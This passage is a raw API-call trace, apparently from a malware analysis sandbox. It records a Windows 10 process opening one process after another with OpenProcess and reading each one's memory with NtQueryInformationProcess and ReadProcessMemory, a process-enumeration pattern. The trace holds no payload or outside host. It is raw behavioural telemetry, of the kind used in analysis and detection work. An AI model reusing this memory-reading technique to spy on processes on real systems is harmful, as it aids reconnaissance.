ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0255.785] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0255.785] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xb23a8e3020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0255.785] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x25329702ac0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0255.785] malloc (_Size=0x74) returned 0x196ef0d2120 [0255.785] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x25329703118, lpBuffer=0x196ef0d2120, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0255.786] free (_Block=0x196ef0d2120) [0255.787] CloseHandle (hObject=0x464) returned 1 [0255.788] _ui64tow_s (in: _Value=0x38c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="908") returned 0x0 [0255.793] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="908") returned 3 [0255.794] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0255.794] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0255.815] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x38c) returned 0x464 [0255.815] GetLastError () returned 0x0 [0255.815] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0255.815] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x849e247018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0255.816] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0255.816] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a5e3103490, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0255.816] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a5e31030d8, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0255.817] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0255.819] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0255.819] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x849e247020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0255.819] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a5e3102ac0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0255.819] malloc (_Size=0x84) returned 0x196ef101220 [0255.819] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a5e3103118, lpBuffer=0x196ef101220, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef101220*, lpNumberOfBytesRead=0x0) returned 1 [0255.820] free (_Block=0x196ef101220) [0255.821] CloseHandle (hObject=0x464) returned 1 [0255.822] _ui64tow_s (in: _Value=0x39c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="924") returned 0x0 [0255.826] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="924") returned 3 [0255.828] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0255.828] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0255.849] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x39c) returned 0x464 [0255.849] GetLastError () returned 0x0 [0255.849] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0255.849] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xd3ae96018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0255.850] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0255.850] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e9d3f03490, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0255.850] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e9d3f030d8, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0255.852] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0255.854] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0255.854] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xd3ae96020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0255.854] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e9d3f02ac0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0255.854] malloc (_Size=0x86) returned 0x196ef100e30 [0255.855] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e9d3f03118, lpBuffer=0x196ef100e30, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef100e30*, lpNumberOfBytesRead=0x0) returned 1 [0255.855] free (_Block=0x196ef100e30) [0255.856] CloseHandle (hObject=0x464) returned 1 [0255.857] _ui64tow_s (in: _Value=0x3fc, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="1020") returned 0x0 [0255.863] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="1020") returned 4 [0255.865] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0255.865] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0255.889] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3fc) returned 0x464 [0255.889] GetLastError () returned 0x0 [0255.890] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0255.890] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x71b3034018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0255.890] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0255.890] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x26426003470, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0255.890] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x264260030d8, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0255.892] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0255.893] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0255.893] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x71b3034020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0255.893] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x26426002ac0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0255.893] malloc (_Size=0x62) returned 0x196ef0d0610 [0255.894] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x26426003118, lpBuffer=0x196ef0d0610, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0610*, lpNumberOfBytesRead=0x0) returned 1 [0255.894] free (_Block=0x196ef0d0610) [0255.895] CloseHandle (hObject=0x464) returned 1 [0255.896] _ui64tow_s (in: _Value=0x1b8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="440") returned 0x0 [0255.901] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="440") returned 3 [0255.903] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0255.903] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0255.923] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b8) returned 0x464 [0255.923] GetLastError () returned 0x0 [0255.924] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0255.924] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xb4bbe3c018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0255.924] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0255.924] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f146e03400, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0255.925] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f146e03048, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0255.926] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0255.928] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0255.928] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xb4bbe3c020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0255.929] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f146e02a30, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0255.929] malloc (_Size=0x82) returned 0x196ef1009b0 [0255.929] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f146e03088, lpBuffer=0x196ef1009b0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef1009b0*, lpNumberOfBytesRead=0x0) returned 1 [0255.930] free (_Block=0x196ef1009b0) [0255.935] CloseHandle (hObject=0x464) returned 1 [0255.935] _ui64tow_s (in: _Value=0x460, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="1120") returned 0x0 [0255.942] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="1120") returned 4 [0255.943] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0255.943] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0255.966] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x460) returned 0x464 [0255.966] GetLastError () returned 0x0 [0255.967] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0255.967] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x448f0b2018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0255.967] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0255.967] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e0ed903460, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0255.967] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e0ed9030c8, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0255.969] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0255.970] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0255.970] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x448f0b2020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0255.971] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e0ed902ab0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0255.971] malloc (_Size=0x66) returned 0x196ef0d0530 [0255.971] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e0ed903108, lpBuffer=0x196ef0d0530, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0530*, lpNumberOfBytesRead=0x0) returned 1 [0255.972] free (_Block=0x196ef0d0530) [0255.973] CloseHandle (hObject=0x464) returned 1 [0255.973] _ui64tow_s (in: _Value=0x4d8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="1240") returned 0x0 [0255.979] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="1240") returned 4 [0255.980] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0255.980] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0255.997] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d8) returned 0x464 [0255.997] GetLastError () returned 0x0 [0255.998] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0255.998] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ff018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0255.998] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0255.998] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1b70, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0255.998] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1818, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0255.999] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0256.001] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0256.001] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ff020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0256.001] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1200, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0256.002] malloc (_Size=0x42) returned 0x196ef0fb310 [0256.002] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1858, lpBuffer=0x196ef0fb310, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fb310*, lpNumberOfBytesRead=0x0) returned 1 [0256.002] free (_Block=0x196ef0fb310) [0256.003] CloseHandle (hObject=0x464) returned 1 [0256.004] _ui64tow_s (in: _Value=0x580, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="1408") returned 0x0 [0256.009] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="1408") returned 4 [0256.011] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0256.011] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0256.033] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x580) returned 0x464 [0256.033] GetLastError () returned 0x0 [0256.033] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0256.033] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xada0213018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0256.034] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0256.034] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eb702a1bf0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0256.034] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eb702a18c8, lpBuffer=0x670f7c2b0, nSize=0x3e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0256.035] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0256.037] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0256.037] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xada0213020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0256.037] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eb702a12b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0256.037] malloc (_Size=0x18) returned 0x196ef0d1d20 [0256.037] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eb702a1906, lpBuffer=0x196ef0d1d20, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d1d20*, lpNumberOfBytesRead=0x0) returned 1 [0256.037] free (_Block=0x196ef0d1d20) [0256.038] CloseHandle (hObject=0x464) returned 1 [0256.039] _ui64tow_s (in: _Value=0x634, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="1588") returned 0x0 [0256.044] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="1588") returned 4 [0256.046] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0256.046] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0256.064] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x634) returned 0x464 [0256.064] GetLastError () returned 0x0 [0256.064] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0256.065] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x10d4688018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0256.065] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0256.065] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x15c5b9034a0, lpBuffer=0x670f7c960, 